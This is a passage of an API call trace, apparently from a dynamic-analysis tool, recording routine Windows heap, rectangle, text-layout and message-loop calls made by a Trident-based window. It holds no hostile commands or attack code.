[0117.051] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.051] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.051] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.051] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.051] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.051] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.051] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.051] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.051] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.051] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.051] LsSetDoc () returned 0x0
[0117.051] LsCreateLine () returned 0x0
[0117.051] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.051] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.051] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.052] LsdnFinishRegular () returned 0x0
[0117.052] LsQueryLinePointPcp () returned 0x0
[0117.052] LsDestroyLine () returned 0x0
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.052] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.052] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.052] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.053] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.053] GetCurrentThreadId () returned 0x4e0
[0117.053] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.053] NtdllDefWindowProc_W () returned 0x0
[0117.053] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.053] GetCurrentThreadId () returned 0x4e0
[0117.053] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.053] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.053] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.053] GetCurrentThreadId () returned 0x4e0
[0117.053] GetCurrentThreadId () returned 0x4e0
[0117.053] GetCurrentThreadId () returned 0x4e0
[0117.053] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.058] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.058] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.058] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.058] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.058] GetCurrentThreadId () returned 0x4e0
[0117.058] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.058] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.058] GetMessageTime () returned 43118
[0117.058] GetMessagePos () returned 0x1c4031f
[0117.058] GetCapture () returned 0x0
[0117.058] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.058] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.058] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.058] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.058] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.058] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.058] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.058] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.058] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.058] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.058] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.058] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.059] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.059] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.059] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.059] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.059] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.059] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.059] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.059] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.059] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.059] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.059] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.059] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.059] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.059] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.059] LsSetDoc () returned 0x0
[0117.059] LsCreateLine () returned 0x0
[0117.060] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.060] LsDestroyLine () returned 0x0
[0117.060] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.060] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.060] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.060] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.060] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.060] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.060] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.060] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.060] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.060] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.060] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.061] LsSetDoc () returned 0x0
[0117.061] LsCreateLine () returned 0x0
[0117.061] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.061] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.061] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.061] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.061] LsdnFinishRegular () returned 0x0
[0117.061] LsQueryLinePointPcp () returned 0x0
[0117.061] LsDestroyLine () returned 0x0
[0117.061] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.061] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.061] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.061] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.061] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.061] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.061] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.062] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.062] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.062] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.062] GetCursor () returned 0x10005
[0117.062] GetCurrentThreadId () returned 0x4e0
[0117.062] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.062] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.062] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.062] GetMessageTime () returned 43134
[0117.062] GetMessagePos () returned 0x1c4031f
[0117.062] GetCapture () returned 0x0
[0117.062] GetCurrentThreadId () returned 0x4e0
[0117.062] GetCurrentThreadId () returned 0x4e0
[0117.062] GetCurrentThreadId () returned 0x4e0
[0117.062] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.062] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.062] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.062] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.063] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.063] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.063] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.063] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.063] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.063] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.063] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.063] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.063] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.063] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.063] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.063] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.063] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.063] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.063] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.064] LsSetDoc () returned 0x0
[0117.064] LsCreateLine () returned 0x0
[0117.064] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.064] LsDestroyLine () returned 0x0
[0117.064] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.064] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.064] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.064] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.064] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.064] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.064] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.064] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.064] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.064] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.064] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.065] LsSetDoc () returned 0x0
[0117.065] LsCreateLine () returned 0x0
[0117.065] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.065] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.065] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.066] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.066] LsdnFinishRegular () returned 0x0
[0117.066] LsQueryLinePointPcp () returned 0x0
[0117.067] LsDestroyLine () returned 0x0
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.067] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.067] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.067] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.067] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.067] GetCurrentThreadId () returned 0x4e0
[0117.068] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.068] NtdllDefWindowProc_W () returned 0x0
[0117.068] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.068] GetCurrentThreadId () returned 0x4e0
[0117.068] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.068] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.068] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.068] GetCurrentThreadId () returned 0x4e0
[0117.068] GetCurrentThreadId () returned 0x4e0
[0117.068] GetCurrentThreadId () returned 0x4e0
[0117.068] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.089] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
